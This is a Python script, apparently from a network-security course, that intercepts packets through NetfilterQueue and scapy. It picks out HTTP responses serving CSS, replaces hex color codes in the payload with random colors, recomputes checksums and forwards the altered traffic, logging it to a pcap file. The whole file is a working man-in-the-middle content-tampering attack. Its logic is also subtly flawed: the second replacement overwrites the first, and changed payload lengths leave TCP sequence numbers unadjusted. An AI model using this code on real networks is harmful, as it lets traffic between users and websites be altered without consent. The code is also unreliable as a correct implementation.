import os from netfilterqueue import NetfilterQueue, Packet as NFQPacket from scapy.all import IP, TCP, Raw, Packet as SPacket, send, base64_bytes, hex_bytes, bytes_hex, hexstr, hexdump, bytes_base64, PacketList from scapy.layers.http import HTTPResponse, HTTP from scapy.utils import wrpcap, rdpcap, PcapWriter import random import re #packets we want to save for submission # scapy_packets: PacketList = PacketList() count = 0 pktdump = PcapWriter("../captures/final_3.pcap", append=True, sync=True) def generate_random_color_6(): return "#{:06x}".format(random.randint(0, 0xFFFFFF)) def generate_random_color_3(): return "#{:03x}".format(random.randint(0, 0xFFF)) def replace_colors_with_random_6(input_string): # Regular expression to find hex color codes hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{6})') def replace_match(match): return generate_random_color_6() # Replace all hex color codes with random colors output_string = hex_color_pattern.sub(replace_match, input_string) return output_string def replace_colors_with_random_3(input_string): # Regular expression to find hex color codes hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{3})') def replace_match(match): return generate_random_color_3() # Replace all hex color codes with random colors output_string = hex_color_pattern.sub(replace_match, input_string) return output_string def save_packets(packets: PacketList, filename: str): wrpcap(filename, packets) print(f"Saved {len(packets)} packets to {filename}") # Dictionary to store partial packets indexed by source/destination ports and IPs tcp_streams: set = set() def process_packet(nfqpacket: NFQPacket): global tcp_streams global count scapy_packet: SPacket = IP(nfqpacket.get_payload()) if scapy_packet.haslayer(IP) and scapy_packet.haslayer(TCP): ip_layer = scapy_packet[IP] tcp_layer = scapy_packet[TCP] stream_key = (ip_layer.src, ip_layer.dst, tcp_layer.sport, tcp_layer.dport) if scapy_packet.haslayer(HTTP) and scapy_packet.haslayer(HTTPResponse): http_response_layer: SPacket = scapy_packet[IP][TCP][HTTP][HTTPResponse] if http_response_layer.fields.get('Content_Type') == b"text/css": tcp_streams.add(stream_key) #stop here, there will not be raw data in these else: if stream_key in tcp_streams : tcp_streams.remove(stream_key) #the stream might have moved onto something else like json, remove the key now else: pass elif stream_key in tcp_streams and scapy_packet.haslayer(Raw): # At this point we are likely dealing with CSS data - so attack all_content: bytes = scapy_packet[Raw].load css_content = all_content.decode('utf-8', errors='ignore') # Decode bytes to string new_css_content: str = replace_colors_with_random_6(css_content) new_css_content = replace_colors_with_random_3(css_content) new_encoded_content: bytes = bytes(new_css_content, 'utf-8') new_load = new_encoded_content scapy_packet[Raw].load = new_load del scapy_packet[IP].chksum del scapy_packet[TCP].chksum print('Modified colors') count += 1 nfqpacket.set_payload(scapy_packet.build()) pktdump.write(scapy_packet) else: pass# Uninteresting packet, or it's too early and we have not seen the http response + conent type so ignore anyway else: pass #all packets are tcp so we don't expect this case nfqpacket.accept() def main(): global count nfqueue = NetfilterQueue() nfqueue.bind(0, process_packet) try: print("Binding to NFQUEUE 0...") nfqueue.run() except KeyboardInterrupt: print(f"Stopping... Modified {count} packets") finally: nfqueue.unbind() if __name__ == "__main__": main()